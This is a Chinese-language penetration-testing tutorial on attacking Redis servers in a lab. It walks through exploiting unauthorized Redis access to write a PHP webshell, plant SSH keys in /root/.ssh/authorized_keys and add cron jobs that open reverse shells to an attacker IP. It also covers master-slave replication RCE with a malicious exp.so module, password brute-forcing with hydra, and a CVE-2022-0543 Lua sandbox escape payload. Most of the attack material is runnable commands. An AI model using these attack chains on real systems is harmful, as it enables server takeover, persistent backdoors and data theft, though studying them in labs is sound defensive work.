数据库作为业务平台信息技术的核心和基础,承载着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,数据库的安全稳定运行也直接决定着业务系统能否正常使用。并且平台的数据库中往往储存着等极其重要和敏感的信息。这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。所以对数据库的保护是一项必须的,关键的,重要的工作任务。
通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!
今天会讲解到Redis环境安装、Redis未授权访问、redis写webshell、redis 密钥登录ssh、利用计划任务反弹shell等操作,如果连Redis都不会安装操作提权等,怎么进行下一步的研究Redis数据库安全!怎么拿下对方服务器。
REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。
Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。它通常被称为数据结构服务器,因为值(value)可以是字符串(String), 哈希(Map), 列表(list), 集合(sets) 和有序集合(sorted sets)等类型。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。
Redis 是一个开源的高性能键值数据库。最热门的 NoSql 数据库之一,也被人们称为数据结构服务器。
它最突出的特点就是:快
Redis默认配置端口为6379,sentinel.conf配置器端口为26379
https://redis.io/
http://download.redis.io/releases/
4.x安装:
wget http://download.redis.io/releases/redis-4.0.8.tar.gz
tar -zxvf redis-4.0.8.tar.gz
cd redis-4.0.8
make
最新版本前期漏洞已经修复,测试时建议安装3.2.11版本。
以下实验使用3.2版本复现!!
Redis是一个C语言编写的基于key-value类型的高效数据库。
Redis可以执行一些操作将数据保存到内存之中(这也是为什么效率这么高的原因)。
同时redis也可以将内存中的数据写入磁盘之中。
主要是因为配置不当,导致未授权访问漏洞。
进一步将恶意数据写入内存或者磁盘之中,造成更大的危害。
配置不当一般主要是两个原理:
(1)配置登录策略导致任意机器都可以登录redis。
(2)未设置密码或者设置弱口令。
首先卸载kali上已经安装的redis
apt-get remove --purge redis-server
接下来安装旧版本的redis
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make
编辑redis的配置文件:
注释掉:bind 127.0.0.1
protected-mode设为no,代表关闭安全设置
将此配置文件放到redis-server同级目录中
启动redis-server:./redis-server redis.conf
安装成功后,如图所示。默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件。
Redis在大公司被大量应用,通过笔者的研究发现,目前在互联网上已经出现Redis未经授权病毒似自动攻击,攻击成功后会对内网进行扫描、控制、感染以及用来进行挖矿、勒索等恶意行为,早期网上曾经分析过一篇文章“通过redis感染linux版本勒索病毒的服务器”(http://www.sohu.com/a/143409075_765820),如果公司使用了Redis,那么应当给予重视,通过实际研究,当在一定条件下,攻击者可以获取webshell,甚至root权限。
redis-cli -h {host} -p {port} {command}
常用命令:
查看信息:info
删除所有数据库内容:flushall
刷新数据库:flushdb
看所有键:KEYS *,使用select num可以查看键值数据。
设置变量:set test “who am i”
config set dir dirpath 设置路径等配置
config get dir/dbfilename 获取路径及数据配置信息
save保存
get 变量,查看变量名称
工具地址:https://gitee.com/qishibo/AnotherRedisDesktopManager
https://blog.csdn.net/qq_39715000/article/details/120724800(RedisDesktopManager的免费版)
利用条件:攻击者能够连接目标Redis,目标需要开启web服务,并且攻击者能够得知web服务路径
在发现了Redis未授权漏洞后:
切换目录到网站的根目录
config set dir /var/www/html/
写入恶意代码到内存中
set x "\n\n\n$_POST['cmd']); ?>\n\n\n"
在磁盘中生成木马文件
config set dbfilename shell.php
将内存之中的数据导出到磁盘文件
save
写入shell成功,靶机开启一个web服务,成功通过未授权写入webshell并连接上后门
/etc/init.d/ssh start
netstat -pantu | grep :22
config set requirepass lainwith
redis-cli -h 192.168.229.128 -a lainwith
导出key(\n\n是为了防止乱码)
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
将生成的公钥写入redis服务器的内存之中
cat key.txt | redis-cli -h 192.168.229.128 -a lainwith -x set ssh_key
登录redis
redis-cli -h 192.168.229.128 -a lainwith
设置路径,准备导出文件到磁盘.(本质是更改redis的备份路径)
注意:假如这个"/root/.ssh"不存在的话,这里会显示失败的,就不会返回ok了
config set dir /root/.ssh
设置文件名(不能改成其他的)并导出
config set dbfilename authorized_keys
save
ssh -i /root/.ssh/id_rsa [email protected]
set xx "\n* * * * * bash -i >& /dev/tcp/192.168.229.128/6666 0>&1\n"
//上边的星号代表的是计划任务的时间
config set dir /var/spool/cron/
//设置导出的路径
config set dbfilename root
//设置导出文件名为“ root ”
save
//保存
或者:
echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.229.128/6666 0>&1\n\n"|redis-cli -h 192.168.229.128 -x set 1
redis-cli -h 192.168.253.12 config set dir /var/spool/cron/
redis-cli -h 192.168.253.12 config set dbfilename root
redis-cli -h 192.168.253.12 save
网传的是上述的方法,但是很遗憾。
当我在kali上部署 Redis ,不能反弹shell到kali。也不能反弹shell到其他机器上。
当我在CentOS上部署Redis,反弹到kali的shell是有问题的。
检查发现参考的文章作者也碰到了这个问题:渗透测试之地基服务篇:服务攻防之数据库Redis(上)
在靶场上发现了写入的恶意文件
未授权的redis会导致GetShell,可以说已经是众所周知的了。
而这种方式是通过写文件来完成GetShell的,这种方式的主要问题在于,redis保存的数据并不是简单的json或者是csv,所以写入的文件都会有大量的无用数据,形似:
这种主要利用了crontab、ssh key、webshell这样的文件都有一定容错性,再加上crontab和ssh服务可以说是服务器的标准的服务,所以在以前,这种通过写入文件的getshell方式基本就可以说是很通杀了。但随着现代的服务部署方式的不断发展,组件化成了不可逃避的大趋势,docker就是这股风潮下的产物之一,而在这种部署模式下,一个单一的容器中不会有除redis以外的任何服务存在,包括ssh和crontab,再加上权限的严格控制,只靠写文件就很难再getshell了,在这种情况下,我们就需要其他的利用手段了。
漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。
简单的说,攻击者(主机)写一个so文件,然后通过FULLRESYNC(全局)同步文件到受害人(从机)上。
比起以前的利用方式来说,这种利用方式更为通用,危害也更大。
我安装的Redis环境是3.2,漏洞复现失败,因此这里使用下载redis5.0来演示漏洞
CentOS(192.168.229.140)部署Redis5.0,kali(192.168.229.128)当作攻击者
wget http://download.redis.io/releases/redis-5.0.0.tar.gz
tar xzf redis-5.0.0.tar.gz
cd redis-5.0.0/
make
下载并编译完成之后,修改配置文件,就可以启动Redis了
vim redis.conf
cp redis.conf ./src/redis.conf
./redis-server redis.conf
这种复现方式,演示靶机在关闭保护模式、允许远程连接的情况下,使用n0b0dyCN/redis-rogue-server攻击
关于漏洞原理请查看Pavel Toporkov的分享(opens new window)
漏洞利用脚本: n0b0dyCN/redis-rogue-server
首先看一下脚本的一些基本信息
获取一个交互式shell
尝试反弹shell
这种复现方式,演示靶机在关闭保护模式、允许远程连接、Redis开启密码保护的情况下,如何攻击。
顺带着演示另一种工具。
使用利用脚本:https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
此处设置一下Redis的连接密码,以便捎带着演示一下Redis爆破
hydra -P ./pass.txt redis://192.168.229.140:6379 -f
现在开始漏洞复现,首先看一下脚本基本信息
交互式shell如下:
反弹shell如下:
靶场环境承接的是第5章的:演示靶机关闭保护模式、允许远程连接、Redis开启密码保护
在“利用主从复制RCE”中,目标机器的redis可以被远程其他的机器登录。然后执行脚本内写死的一些命令,利用这些命令我们就可以执行系统命令。问题来了,假如目标机器仅仅允许本地进行登录的时候,上述利用就直接暴毙。这个时候,我们可以通过配合其他漏洞,从目标本地登录redis。然后手动执行脚本内写死的一些命令(这些命令的意思是将本机[靶机]redis作为从机,将攻击机器设置为主机,然后攻击机器会自动将一些恶意so文件同步给目标机器(从机)),从而来实现对目标机器的远程命令执行。
这里需要同时用到上面第5章节中提到的两款工具:
将redis-rogue-server的exp.so
文件复制到Awsome文件夹中使用,因为exp.so
带system
模块!
python3 redis_rogue_server.py -v -path exp.so
受害者设置攻击者的地址为主服务器
# 密码登录服务器(以安全的方式)
auth foobared
# 查看是否存在模块(发现目前没有可用模块!)
module list
# 一般tmp目录都有写权限,所以选择这个目录写入
config set dir /tmp
# 设置导出文件的名字
config set dbfilename exp.so
# 设置主机为kali
slaveof 192.168.229.128 15000
可看到主服务器上FULLRESYNC全局同步数据中!将恶意的exp.so同步到redis服务器上!
按时间对tmp目录下的文件进行排序,发现了exp.so
# 加载写入的恶意so文件模块
module load ./exp.so
# 查看恶意so有没有加载成功,主要是有没有“system”
module list
# 取消设置主机(可做可不做)
slaveof NO ONE
# 反弹shell
system.rev 192.168.229.128 4444
漏洞信息:https://www.cnvd.org.cn/flaw/show/CNVD-2015-07557
Redis默认情况下会绑定在0.0.0.0:6379,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以直接登录目标服务器。
在线靶场不能正常使用,这里使用vulfocus离线环境:https://github.com/fofapro/vulfocus/tree/master/images
kali部署环境,作为受害者;parrot作为攻击者。
docker pull vulfocus/redis-cnvd_2015_07557
docker run -p 6379:6379 -d vulfocus/redis-cnvd_2015_07557
nuclei发现Redis未授权漏洞,Nmap探测到Redis版本是4.0.14
nmap 192.168.229.128 -p 6379 --script redis-info
Redis存在未授权访问漏洞。攻击者可利用该漏洞执行任意代码,获取目标服务器权限。
更多信息参考:https://www.cnvd.org.cn/flaw/show/CNVD-2019-21763
在线靶场起不来,离线靶场下不了,此漏洞的利用情况同“CNVD-2015-07557”,不再演示。
Debian以及Ubuntu发行版的源在打包Redis时,在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。
更多介绍:https://nox.qianxin.com/vulnerability/detail/QVD-2022-1456
vulfocus在线靶场无法使用,镜像地址未提供:https://github.com/fofapro/vulfocus/tree/master/images
下载vulhub同步地址:https://gitee.com/hundan-90/vulhub?_from=gitee_search
cd vulhub/redis/CVE-2022-0543/
docker-compose build # 编译
docker-compose up -d # 运行
我们借助Lua沙箱中遗留的变量package
的loadlib
函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0
里的导出函数luaopen_io
。在Lua中执行这个导出函数,即可获得io
库,再使用其执行命令:
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res
值得注意的是,不同环境下的liblua库路径不同,你需要指定一个正确的路径。在这个Vulhub环境(Ubuntu fiocal)中,这个路径是:/usr/lib/x86_64-linux-gnu/liblua5.1.so.0
连接redis,使用eval
命令执行上述脚本:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
渗透测试之地基服务篇:服务攻防之数据库Redis(上)
渗透测试之地基服务篇:服务攻防之数据库Redis(下)
跟着斗哥学Python安全开发之redis未授权访问
Redis 小于5.0.5 主从复制远程命令执行漏洞